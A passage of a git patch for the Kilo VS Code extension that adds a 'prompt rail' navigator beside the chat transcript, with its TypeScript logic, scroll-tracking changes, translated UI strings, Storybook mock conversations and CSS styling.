+ trackActive() + }) + } + onCleanup(() => { + if (activeFrame !== undefined) cancelAnimationFrame(activeFrame) + }) + // Re-derive the active turn whenever the transcript changes so the rail + // reflects a newly started turn even before any scrolling happens. + createEffect(() => { + shown() + partition() + scheduleActive() + }) + // Highlights the part behind the currently hovered/focused timeline bar // (dispatched by TaskTimeline) so the two stay visually correlated. const [highlight, setHighlight] = createSignal() @@ -1018,6 +1068,7 @@ export const MessageList: Component = (props) => { const handleScroll = () => { autoScroll.handleScroll() maybeLoadOlder() + scheduleActive() if (search.active()) scheduleHighlight() } @@ -1026,6 +1077,7 @@ export const MessageList: Component = (props) => { const el = scrollEl() if (!el) return const style = getComputedStyle(el) + setHeight(el.clientHeight) setLayout( layoutFingerprint({ width: Math.round(el.clientWidth), @@ -1210,6 +1262,17 @@ export const MessageList: Component = (props) => {
+ railActiveKey()} + onSelect={(item: PromptRailItem) => jump(item.key)} + onWheel={(deltaY: number) => { + const el = scrollEl() + if (el) el.scrollTop += deltaY + }} + height={height} + /> + + )} + + + + + {(position) => ( + + + + )} + + + ) +} diff --git a/packages/kilo-vscode/webview-ui/src/components/chat/prompt-rail.ts b/packages/kilo-vscode/webview-ui/src/components/chat/prompt-rail.ts new file mode 100644 index 0000000000..e20de18cfc --- /dev/null +++ b/packages/kilo-vscode/webview-ui/src/components/chat/prompt-rail.ts @@ -0,0 +1,98 @@ +import type { Part } from "../../types/messages" +import type { TranscriptRow } from "../../context/transcript-rows" + +export interface PromptRailItem { + key: string + turn: string + queued: boolean + prompt: string + answer: string +} + +const PROMPT_LIMIT = 160 +const ANSWER_LIMIT = 220 + +/** + * Height of the tallest card row (padding + a one-line prompt + a two-line + * answer), and the unit the fit cap is measured in. Deliberately the worst + * case rather than an average: "only show what fits" should stay true for a + * card whose rows all wrap, not just for a lucky mix of short ones. + */ +export const ROW_HEIGHT = 76 +/** Vertical padding reserved at the top and bottom of the rail. */ +export const RAIL_INSET = 24 + +/** + * How many prompts fit the available transcript height. The card and the rail + * always render the same set, so this one number drives both. + */ +export function capacity(height: number): number { + return Math.floor((height - RAIL_INSET) / ROW_HEIGHT) +} + +// The card never renders markdown — user message text shows literally, and +// assistant text should too. Code spans (inline and fenced) are dropped, and +// link URLs / images are stripped rather than parsed (mirrors MessageList's +// stripMarkdownLinkUrls split so bracket text inside inline code stays out, +// not half-stripped). +export function previewText(raw: string): string { + const segments = raw.split(/(```[\s\S]*?```|`[^`\n]*`)/g) + const text = segments.map((segment, i) => (i % 2 === 1 ? "" : stripLinks(segment))).join(" ") + return text + .replace(/^#{1,6}\s+/gm, "") + .replace(/^\s*[-*>+]\s+/gm, "") + .replace(/\s+/g, " ") + .trim() +} + +function stripLinks(text: string) { + return text.replace(/!\[[^\]]*\]\([^)]*\)/g, "").replace(/\[([^\]]*)\]\([^)]*\)/g, "$1") +} + +function text(parts: Part[], limit: number): string { + const joined = parts + .filter((part) => part.type === "text" && !part.synthetic && part.text.trim()) + .map((part) => (part.type === "text" ? part.text : "")) + .join("\n") + return truncate(previewText(joined), limit) +} + +function truncate(value: string, limit: number) { + return value.length <= limit ? value : `${value.slice(0, limit - 1)}…` +} + +export function promptItems(rows: TranscriptRow[]): PromptRailItem[] { + const items: PromptRailItem[] = [] + for (const row of rows) { + if (row.type !== "user") continue + items.push({ key: row.key, turn: row.turn, queued: row.queued, prompt: text(row.parts, PROMPT_LIMIT), answer: "" }) + } + // Answer text is grouped by turn so one pass fills every item; assistant + // rows follow their user row and carry the same `turn` id. + let index = 0 + for (const row of rows) { + if (row.type === "user") { + index += 1 + continue + } + if (row.type !== "assistant" || index === 0) continue + const item = items[index - 1]! + if (item.turn !== row.turn || item.answer) continue + const value = text(row.parts, ANSWER_LIMIT) + if (value) item.answer = value + } + // A prompt can carry no text at all (image-only or file-only message). Rather + // than render a blank row, promote the answer into the label so the row still + // says something; if neither has text the card falls back to its placeholder. + for (const item of items) { + if (item.prompt || !item.answer) continue + item.prompt = truncate(item.answer, PROMPT_LIMIT) + item.answer = "" + } + return items +} + +export function railItems(items: PromptRailItem[], capacity: number): PromptRailItem[] { + if (capacity < 1) return [] + return items.slice(-capacity) +} diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ar.ts b/packages/kilo-vscode/webview-ui/src/i18n/ar.ts index 592ae22dcf..7060ab1619 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ar.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ar.ts @@ -705,6 +705,10 @@ export const dict = { "session.messages.scrollToBottom": "التمرير إلى الأسفل", "session.messages.initializing": "جاري التهيئة...", "session.messages.taskStarting": "جاري البدء...", + "session.prompts.navLabel": "مستعرض المطالبات", + "session.prompts.tick": "المطالبة {{index}} من {{total}}: {{prompt}}", + "session.prompts.noAnswer": "لا توجد استجابة بعد", + "session.prompts.queued": "في قائمة الانتظار", "session.status.writingResponse": "...جارٍ كتابة الرد", "session.status.retry": "جارٍ إعادة المحاولة…", "session.status.working": "...جارٍ العمل", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/br.ts b/packages/kilo-vscode/webview-ui/src/i18n/br.ts index 03055f3543..cee0df6bb9 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/br.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/br.ts @@ -723,6 +723,10 @@ export const dict = { "session.messages.scrollToBottom": "Rolar para o final", "session.messages.initializing": "O teraouiñ...", "session.messages.taskStarting": "O kregiñ...", + "session.prompts.navLabel": "Navegador de prompts", + "session.prompts.tick": "Prompt {{index}} de {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Sem resposta ainda", + "session.prompts.queued": "Na fila", "session.status.writingResponse": "Escrevendo resposta…", "session.status.retry": "Tentando novamente…", "session.status.working": "Trabalhando…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/bs.ts b/packages/kilo-vscode/webview-ui/src/i18n/bs.ts index 5575a758b8..b52183b712 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/bs.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/bs.ts @@ -723,6 +723,10 @@ export const dict = { "session.messages.scrollToBottom": "Pomakni se na dno", "session.messages.initializing": "Inicijalizacija...", "session.messages.taskStarting": "Pokretanje...", + "session.prompts.navLabel": "Navigator upita", + "session.prompts.tick": "Upit {{index}} od {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Još nema odgovora", + "session.prompts.queued": "Na čekanju", "session.status.writingResponse": "Pisanje odgovora…", "session.status.retry": "Ponovni pokušaj…", "session.status.working": "Radim…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/da.ts b/packages/kilo-vscode/webview-ui/src/i18n/da.ts index 90ff025087..7588115fb6 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/da.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/da.ts @@ -721,6 +721,10 @@ export const dict = { "session.messages.scrollToBottom": "Rul til bunden", "session.messages.initializing": "Initialiserer...", "session.messages.taskStarting": "Starter...", + "session.prompts.navLabel": "Promptnavigator", + "session.prompts.tick": "Prompt {{index}} af {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Intet svar endnu", + "session.prompts.queued": "I kø", "session.status.writingResponse": "Skriver svar…", "session.status.retry": "Prøver igen…", "session.status.working": "Arbejder…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/de.ts b/packages/kilo-vscode/webview-ui/src/i18n/de.ts index 811b9ee0fd..05cabab237 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/de.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/de.ts @@ -734,6 +734,10 @@ export const dict = { "session.messages.scrollToBottom": "Nach unten scrollen", "session.messages.initializing": "Initialisierung...", "session.messages.taskStarting": "Wird gestartet...", + "session.prompts.navLabel": "Prompt-Navigation", + "session.prompts.tick": "Prompt {{index}} von {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Noch keine Antwort", + "session.prompts.queued": "In Warteschlange", "session.status.writingResponse": "Antwort wird geschrieben…", "session.status.retry": "Erneuter Versuch…", "session.status.working": "Wird bearbeitet…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/en.ts b/packages/kilo-vscode/webview-ui/src/i18n/en.ts index 7cc55121fe..140cc4b3e0 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/en.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/en.ts @@ -675,6 +675,10 @@ export const dict = { "session.messages.scrollToBottom": "Scroll to bottom", "session.messages.initializing": "Initializing...", "session.messages.taskStarting": "Starting...", + "session.prompts.navLabel": "Prompt navigator", + "session.prompts.tick": "Prompt {{index}} of {{total}}: {{prompt}}", + "session.prompts.noAnswer": "No response yet", + "session.prompts.queued": "Queued", "session.status.writingResponse": "Writing response...", "session.status.retry": "Retrying…", "session.status.working": "Working...", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/es.ts b/packages/kilo-vscode/webview-ui/src/i18n/es.ts index 7981f2a551..ec9a24ba85 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/es.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/es.ts @@ -728,6 +728,10 @@ export const dict = { "session.messages.scrollToBottom": "Desplazar al final", "session.messages.initializing": "Inicializando...", "session.messages.taskStarting": "Iniciando...", + "session.prompts.navLabel": "Navegador de prompts", + "session.prompts.tick": "Prompt {{index}} de {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Aún no hay respuesta", + "session.prompts.queued": "En cola", "session.status.writingResponse": "Escribiendo respuesta…", "session.status.retry": "Reintentando…", "session.status.working": "Trabajando…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/fr.ts b/packages/kilo-vscode/webview-ui/src/i18n/fr.ts index 451b0a1bc6..8a5ec0d714 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/fr.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/fr.ts @@ -734,6 +734,10 @@ export const dict = { "session.messages.scrollToBottom": "Défiler vers le bas", "session.messages.initializing": "Initialisation...", "session.messages.taskStarting": "Démarrage...", + "session.prompts.navLabel": "Navigateur de prompts", + "session.prompts.tick": "Prompt {{index}} sur {{total}} : {{prompt}}", + "session.prompts.noAnswer": "Pas encore de réponse", + "session.prompts.queued": "En attente", "session.status.writingResponse": "Rédaction de la réponse…", "session.status.retry": "Nouvelle tentative…", "session.status.working": "En cours…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/it.ts b/packages/kilo-vscode/webview-ui/src/i18n/it.ts index 066cd30098..8b62af14dc 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/it.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/it.ts @@ -574,6 +574,10 @@ export const dict = { "session.messages.scrollToBottom": "Scorri in fondo", "session.messages.initializing": "Inizializzazione...", "session.messages.taskStarting": "Avvio...", + "session.prompts.navLabel": "Navigatore dei prompt", + "session.prompts.tick": "Prompt {{index}} di {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Nessuna risposta ancora", + "session.prompts.queued": "In coda", "session.status.writingResponse": "Scrittura risposta...", "session.status.retry": "Riprovo...", "session.status.working": "Al lavoro...", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ja.ts b/packages/kilo-vscode/webview-ui/src/i18n/ja.ts index b338abd210..101302fce7 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ja.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ja.ts @@ -715,6 +715,10 @@ export const dict = { "session.messages.scrollToBottom": "下にスクロール", "session.messages.initializing": "初期化中...", "session.messages.taskStarting": "開始中...", + "session.prompts.navLabel": "プロンプトナビゲーター", + "session.prompts.tick": "プロンプト {{index}}/{{total}}: {{prompt}}", + "session.prompts.noAnswer": "まだ応答がありません", + "session.prompts.queued": "キューに追加済み", "session.status.writingResponse": "応答を作成中…", "session.status.retry": "再試行中…", "session.status.working": "作業中…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ko.ts b/packages/kilo-vscode/webview-ui/src/i18n/ko.ts index 20fc092585..46cf8910cc 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ko.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ko.ts @@ -716,6 +716,10 @@ export const dict = { "session.messages.scrollToBottom": "하단으로 스크롤", "session.messages.initializing": "초기화 중...", "session.messages.taskStarting": "시작 중...", + "session.prompts.navLabel": "프롬프트 탐색기", + "session.prompts.tick": "프롬프트 {{index}}/{{total}}: {{prompt}}", + "session.prompts.noAnswer": "아직 응답이 없습니다", + "session.prompts.queued": "대기 중", "session.status.writingResponse": "응답 작성 중...", "session.status.retry": "재시도 중…", "session.status.working": "작업 중...", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/nl.ts b/packages/kilo-vscode/webview-ui/src/i18n/nl.ts index 5f0d90da4b..a325ae0258 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/nl.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/nl.ts @@ -713,6 +713,10 @@ export const dict = { "session.messages.scrollToBottom": "Scroll naar beneden", "session.messages.initializing": "Initialiseren...", "session.messages.taskStarting": "Starten...", + "session.prompts.navLabel": "Promptnavigator", + "session.prompts.tick": "Prompt {{index}} van {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Nog geen reactie", + "session.prompts.queued": "In wachtrij", "session.status.writingResponse": "Antwoord schrijven...", "session.status.retry": "Opnieuw proberen...", "session.status.working": "Bezig...", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/no.ts b/packages/kilo-vscode/webview-ui/src/i18n/no.ts index f9a0d5f096..2a5564f3aa 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/no.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/no.ts @@ -683,6 +683,10 @@ export const dict = { "session.messages.scrollToBottom": "Rull til bunnen", "session.messages.initializing": "Initialiserer...", "session.messages.taskStarting": "Starter...", + "session.prompts.navLabel": "Ledetekstnavigering", + "session.prompts.tick": "Ledetekst {{index}} av {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Ingen svar ennå", + "session.prompts.queued": "I kø", "session.status.writingResponse": "Skriver svar…", "session.status.retry": "Prøver på nytt…", "session.status.working": "Arbeider…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/pl.ts b/packages/kilo-vscode/webview-ui/src/i18n/pl.ts index 99741deb92..92d6f9d213 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/pl.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/pl.ts @@ -679,6 +679,10 @@ export const dict = { "session.messages.scrollToBottom": "Przewiń na dół", "session.messages.initializing": "Inicjalizacja...", "session.messages.taskStarting": "Uruchamianie...", + "session.prompts.navLabel": "Nawigator promptów", + "session.prompts.tick": "Prompt {{index}} z {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Jeszcze brak odpowiedzi", + "session.prompts.queued": "W kolejce", "session.status.writingResponse": "Pisanie odpowiedzi…", "session.status.retry": "Ponawianie…", "session.status.working": "Pracuję…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/ru.ts b/packages/kilo-vscode/webview-ui/src/i18n/ru.ts index 649c5b84d1..75fa4a95df 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/ru.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/ru.ts @@ -720,6 +720,10 @@ export const dict = { "session.messages.scrollToBottom": "Прокрутить вниз", "session.messages.initializing": "Инициализация...", "session.messages.taskStarting": "Запуск...", + "session.prompts.navLabel": "Навигатор промптов", + "session.prompts.tick": "Промпт {{index}} из {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Ответа пока нет", + "session.prompts.queued": "В очереди", "session.status.writingResponse": "Пишу ответ…", "session.status.retry": "Повторная попытка…", "session.status.working": "Работаю…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/th.ts b/packages/kilo-vscode/webview-ui/src/i18n/th.ts index a6f5e657ee..15bd5d8cd1 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/th.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/th.ts @@ -712,6 +712,10 @@ export const dict = { "session.messages.scrollToBottom": "เลื่อนไปด้านล่าง", "session.messages.initializing": "กำลังเริ่มต้น...", "session.messages.taskStarting": "กำลังเริ่มทำงาน...", + "session.prompts.navLabel": "ตัวนำทางพรอมต์", + "session.prompts.tick": "พรอมต์ {{index}} จาก {{total}}: {{prompt}}", + "session.prompts.noAnswer": "ยังไม่มีการตอบกลับ", + "session.prompts.queued": "อยู่ในคิว", "session.status.writingResponse": "กำลังเขียนคำตอบ...", "session.status.retry": "กำลังลองใหม่…", "session.status.working": "กำลังทำงาน...", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/tr.ts b/packages/kilo-vscode/webview-ui/src/i18n/tr.ts index 9a9da245a6..5de84088d0 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/tr.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/tr.ts @@ -707,6 +707,10 @@ export const dict = { "session.messages.scrollToBottom": "En alta kaydır", "session.messages.initializing": "Başlatılıyor...", "session.messages.taskStarting": "Başlıyor...", + "session.prompts.navLabel": "Komut gezgini", + "session.prompts.tick": "Komut {{index}} / {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Henüz yanıt yok", + "session.prompts.queued": "Sırada", "session.status.writingResponse": "Yanıt yazılıyor...", "session.status.retry": "Yeniden deneniyor…", "session.status.working": "Çalışıyor...", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/uk.ts b/packages/kilo-vscode/webview-ui/src/i18n/uk.ts index f80fdf0f99..585643f81c 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/uk.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/uk.ts @@ -709,6 +709,10 @@ export const dict = { "session.messages.scrollToBottom": "Прокрутити до низу", "session.messages.initializing": "Ініціалізація...", "session.messages.taskStarting": "Запуск...", + "session.prompts.navLabel": "Навігатор запитів", + "session.prompts.tick": "Запит {{index}} з {{total}}: {{prompt}}", + "session.prompts.noAnswer": "Відповіді ще немає", + "session.prompts.queued": "У черзі", "session.status.writingResponse": "Пишу відповідь...", "session.status.retry": "Повторна спроба…", "session.status.working": "Працює...", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/zh.ts b/packages/kilo-vscode/webview-ui/src/i18n/zh.ts index ae31c74807..69c4d6617f 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/zh.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/zh.ts @@ -696,6 +696,10 @@ export const dict = { "session.messages.scrollToBottom": "滚动到底部", "session.messages.initializing": "初始化中...", "session.messages.taskStarting": "启动中...", + "session.prompts.navLabel": "提示词导航", + "session.prompts.tick": "提示词 {{index}}/{{total}}:{{prompt}}", + "session.prompts.noAnswer": "暂无响应", + "session.prompts.queued": "已排队", "session.status.writingResponse": "正在撰写回复…", "session.status.retry": "正在重试…", "session.status.working": "处理中…", diff --git a/packages/kilo-vscode/webview-ui/src/i18n/zht.ts b/packages/kilo-vscode/webview-ui/src/i18n/zht.ts index 097657622d..51410df421 100644 --- a/packages/kilo-vscode/webview-ui/src/i18n/zht.ts +++ b/packages/kilo-vscode/webview-ui/src/i18n/zht.ts @@ -656,6 +656,10 @@ export const dict = { "session.messages.scrollToBottom": "捲動至底部", "session.messages.initializing": "初始化中...", "session.messages.taskStarting": "啟動中...", + "session.prompts.navLabel": "提示詞導覽", + "session.prompts.tick": "提示詞 {{index}}/{{total}}:{{prompt}}", + "session.prompts.noAnswer": "尚無回應", + "session.prompts.queued": "已排入佇列", "session.status.writingResponse": "正在撰寫回覆…", "session.status.retry": "正在重試…", "session.status.working": "處理中…", diff --git a/packages/kilo-vscode/webview-ui/src/stories/chat.stories.tsx b/packages/kilo-vscode/webview-ui/src/stories/chat.stories.tsx index 7d5e6705e9..4eb2cecdf5 100644 --- a/packages/kilo-vscode/webview-ui/src/stories/chat.stories.tsx +++ b/packages/kilo-vscode/webview-ui/src/stories/chat.stories.tsx @@ -617,6 +617,141 @@ export const ChatViewReadable420: Story = { render: () => renderReadableChat("busy"), } +// --------------------------------------------------------------------------- +// PromptRail — the left-edge tick rail and its hover card +// Several turns so the rail and card are populated: a long prompt, a short +// low-signal follow-up, a tool-only answer (empty preview), and a queued one. +// --------------------------------------------------------------------------- + +const railNow = 1_700_000_200_000 +const railTurn = (i: number, prompt: string, answer: string | undefined, queued = false) => { + const userID = `rail-user-${i}` + const assistantID = `rail-asst-${i}` + const messages: any[] = [{ id: userID, sessionID: SESSION_ID, role: "user", time: { created: railNow + i * 100 } }] + if (!queued) { + messages.push({ + id: assistantID, + sessionID: SESSION_ID, + role: "assistant", + parentID: userID, + time: { created: railNow + i * 100 + 50 }, + modelID: "claude-sonnet-4-20250514", + providerID: "anthropic", + mode: "default", + agent: "default", + path: { cwd: "/project", root: "/project" }, + }) + } + const parts: Record = { + [userID]: [{ id: `rail-part-user-${i}`, sessionID: SESSION_ID, messageID: userID, type: "text", text: prompt }], + } + if (!queued) { + parts[assistantID] = answer + ? [{ id: `rail-part-asst-${i}`, sessionID: SESSION_ID, messageID: assistantID, type: "text", text: answer }] + : [ + { + id: `rail-part-asst-${i}`, + sessionID: SESSION_ID, + messageID: assistantID, + type: "tool", + callID: `rail-call-${i}`, + tool: "bash", + state: { + status: "completed", + input: { command: "ls", description: "List files" }, + output: "a.ts b.ts", + title: "ls", + metadata: {}, + time: { start: railNow + i * 100 + 50, end: railNow + i * 100 + 80 }, + }, + }, + ] + } + return { messages, parts } +} + +const railTurns = [ + railTurn( + 1, + "Add a prompt navigator rail to the left edge of the chat that expands into a card of prompt and answer previews when I hover it, without shrinking the readable lane", + "Added PromptRail with a tick per prompt and a hover card; the lane width is untouched.", + ), + railTurn(2, "yes", "Confirmed — wiring it into MessageList next."), + railTurn(3, "run the tests", undefined), + railTurn( + 4, + "now do the same in the Agent Manager chat", + "ChatView → MessageList is shared, so the rail appears there automatically; no Agent Manager specific code needed.", + ), + railTurn(5, "looks good, ship it", "", true), +] +const railMessages = railTurns.flatMap((turn) => turn.messages) +const railParts = Object.assign({}, ...railTurns.map((turn) => turn.parts)) +const railData = { + ...defaultMockData, + message: { [SESSION_ID]: railMessages }, + part: railParts, +} + +const renderRailChat = (status: "idle" | "busy" = "idle") => { + const session = { + ...mockSessionValue({ id: SESSION_ID, status }), + messages: () => railMessages, + userMessages: () => railMessages.filter((msg) => msg.role === "user"), + } + return ( + + +
+ +
+
+
+ ) +} + +export const PromptRailWide: Story = { + name: "PromptRail - wide editor tab", + render: () => renderRailChat(), +} + +export const PromptRailSidebar: Story = { + name: "PromptRail - narrow sidebar", + render: () => renderRailChat("busy"), +} + +// Long session: more prompts than fit the transcript height, so the rail and +// the card both cap to the newest ones that fit. +const manyTurns = Array.from({ length: 40 }, (_, i) => + railTurn(100 + i, `Prompt number ${i + 1} in a long running session`, `Answer number ${i + 1}.`), +) +const manyMessages = manyTurns.flatMap((turn) => turn.messages) +const manyData = { + ...defaultMockData, + message: { [SESSION_ID]: manyMessages }, + part: Object.assign({}, ...manyTurns.map((turn) => turn.parts)), +} + +export const PromptRailManyPrompts: Story = { + name: "PromptRail - long session caps to what fits", + render: () => { + const session = { + ...mockSessionValue({ id: SESSION_ID, status: "idle" }), + messages: () => manyMessages, + userMessages: () => manyMessages.filter((msg) => msg.role === "user"), + } + return ( + + +
+ +
+
+
+ ) + }, +} + export const MessageListToolToQueuedUserSpacing: Story = { name: "MessageList — queued users stay at bottom", render: () => { diff --git a/packages/kilo-vscode/webview-ui/src/styles/chat.css b/packages/kilo-vscode/webview-ui/src/styles/chat.css index 9bd9a1b166..6f75206919 100644 --- a/packages/kilo-vscode/webview-ui/src/styles/chat.css +++ b/packages/kilo-vscode/webview-ui/src/styles/chat.css @@ -10,6 +10,7 @@ @import "./search-menu.css"; @import "./session-tabs.css"; @import "./chat-layout.css"; +@import "./prompt-rail.css"; @import "./banners.css"; @import "./session-actions.css"; @import "./welcome.css"; diff --git a/packages/kilo-vscode/webview-ui/src/styles/prompt-rail.css b/packages/kilo-vscode/webview-ui/src/styles/prompt-rail.css new file mode 100644 index 0000000000..0e8392619d --- /dev/null +++ b/packages/kilo-vscode/webview-ui/src/styles/prompt-rail.css @@ -0,0 +1,213 @@ +/* ============================================ + Prompt Rail + ============================================ */ + +.prompt-rail { + --prompt-rail-width: 16px; + --prompt-rail-gap: 8px; + --prompt-rail-step: 14px; + --prompt-rail-ease: cubic-bezier(0.22, 1, 0.36, 1); + + position: absolute; + inset-inline-start: max( + 0px, + calc(50% - var(--chat-readable-width) / 2 - var(--prompt-rail-width) - var(--prompt-rail-gap)) + ); + top: 0; + bottom: 0; + width: var(--prompt-rail-width); + display: flex; + flex-direction: column; + justify-content: center; + /* Guards the rail against ever painting outside its own column, whatever + the tick count or panel height. */ + overflow: hidden; + padding: 12px 0; + pointer-events: none; + z-index: 2; + opacity: 0.5; + transition: opacity 0.25s var(--prompt-rail-ease); +} + +.message-list-container:hover .prompt-rail, +.prompt-rail:focus-within { + opacity: 1; +} + +.prompt-rail-tick { + pointer-events: auto; + display: flex; + align-items: center; + justify-content: flex-start; + height: var(--prompt-rail-step); + min-height: 4px; + width: 100%; + border: none; + background: none; + padding: 0; + cursor: pointer; + /* No outline box: the focus ring is drawn on the line itself, so a focused + tick reads as part of the rail instead of a rectangle floating over it. */ + outline: none; +} + +.prompt-rail-tick-line { + display: block; + height: 1.5px; + width: 9px; + border-radius: 1px; + background: var(--icon-base); + opacity: 0.7; + transition: + width 0.24s var(--prompt-rail-ease), + opacity 0.2s var(--prompt-rail-ease), + background-color 0.2s var(--prompt-rail-ease), + box-shadow 0.2s var(--prompt-rail-ease); +} + +.prompt-rail-tick[data-queued] .prompt-rail-tick-line { + background: var(--icon-weaker); + opacity: 0.5; +} + +/* Scroll position: subtle, always-on cue. */ +.prompt-rail-tick--active .prompt-rail-tick-line { + width: 13px; + opacity: 1; + background: var(--icon-strong-base); +} + +/* Pointer or keyboard target: the loud state, full width. */ +.prompt-rail-tick:hover .prompt-rail-tick-line, +.prompt-rail-tick--open .prompt-rail-tick-line { + width: 100%; + height: 2px; + opacity: 1; + background: var(--icon-strong-base); +} + +.prompt-rail-tick:focus-visible .prompt-rail-tick-line { + width: 100%; + height: 2px; + opacity: 1; + background: var(--icon-strong-base); + box-shadow: 0 0 0 2px color-mix(in srgb, var(--vscode-focusBorder) 50%, transparent); +} + +/* ============================================ + Prompt Rail card + ============================================ */ + +.prompt-rail-card { + position: fixed; + z-index: 1000; + box-sizing: border-box; + width: min(360px, calc(100vw - var(--prompt-rail-width, 16px) - 40px)); + max-height: calc(100vh - 24px); + overflow-y: auto; + padding: 6px; + border-radius: 12px; + /* Reads as floating glass rather than a panel pasted over the transcript: + the text behind stays faintly perceptible through the blur, so the card + feels like it belongs to the same surface. Falls back to an opaque fill + where backdrop-filter is unavailable. */ + background: color-mix(in srgb, var(--surface-float-base) 78%, transparent); + backdrop-filter: blur(20px) saturate(1.6); + -webkit-backdrop-filter: blur(20px) saturate(1.6); + box-shadow: + inset 0 0 0 1px color-mix(in srgb, var(--text-strong) 7%, transparent), + 0 2px 6px -2px rgba(0, 0, 0, 0.22), + 0 12px 32px -8px rgba(0, 0, 0, 0.4); + animation: prompt-rail-in 0.22s var(--prompt-rail-ease, cubic-bezier(0.22, 1, 0.36, 1)); + transform-origin: left center; + scrollbar-width: thin; +} + +@supports not ((backdrop-filter: blur(1px)) or (-webkit-backdrop-filter: blur(1px))) { + .prompt-rail-card { + background: var(--surface-float-base); + } +} + +@keyframes prompt-rail-in { + from { + opacity: 0; + transform: translateX(-6px) scale(0.98); + } + to { + opacity: 1; + transform: translateX(0) scale(1); + } +} + +.prompt-rail-row { + display: flex; + flex-direction: column; + align-items: flex-start; + gap: 4px; + width: 100%; + box-sizing: border-box; + border: none; + background: none; + padding: 9px 11px; + border-radius: 8px; + text-align: start; + font: inherit; + cursor: pointer; + outline: none; + transition: background-color 0.16s var(--prompt-rail-ease, ease); +} + +.prompt-rail-row--hover, +.prompt-rail-row:hover { + background: color-mix(in srgb, var(--text-strong) 8%, transparent); +} + +.prompt-rail-row:active { + background: color-mix(in srgb, var(--text-strong) 12%, transparent); +} + +.prompt-rail-row-prompt { + font-size: var(--kilo-font-size-13); + line-height: var(--line-height-normal); + color: var(--text-strong); + font-weight: var(--font-weight-medium, 500); + overflow: hidden; + display: -webkit-box; + -webkit-line-clamp: 1; + -webkit-box-orient: vertical; + min-width: 0; + width: 100%; +} + +.prompt-rail-row-prompt[data-queued] { + color: var(--text-weak); +} + +.prompt-rail-row-status { + color: var(--text-weaker); + font-weight: 400; +} + +.prompt-rail-row-answer { + font-size: var(--kilo-font-size-12); + line-height: var(--line-height-large, 1.5); + color: var(--text-weak); + overflow: hidden; + display: -webkit-box; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + min-width: 0; + width: 100%; +} + +@media (prefers-reduced-motion: reduce) { + .prompt-rail, + .prompt-rail-tick-line, + .prompt-rail-row { + transition: none; + } + .prompt-rail-card { + animation: none; + } +} From 9f528a2315c09544b83f28baaf8cb53eb9eedbb7 Mon Sep 17 00:00:00 2001 From: marius-kilocode Date: Wed, 29 Jul 2026 10:46:07 +0200 Subject: [PATCH 018/100] refactor(agent-manager): namespace terminal keys --- .../agent-manager/SessionTerminalManager.ts | 65 ++++++++++++------- .../unit/session-terminal-manager.test.ts | 18 ++++- 2 files changed, 55 insertions(+), 28 deletions(-) diff --git a/packages/kilo-vscode/src/agent-manager/SessionTerminalManager.ts b/packages/kilo-vscode/src/agent-manager/SessionTerminalManager.ts index 020880244d..3fc41c1170 100644 --- 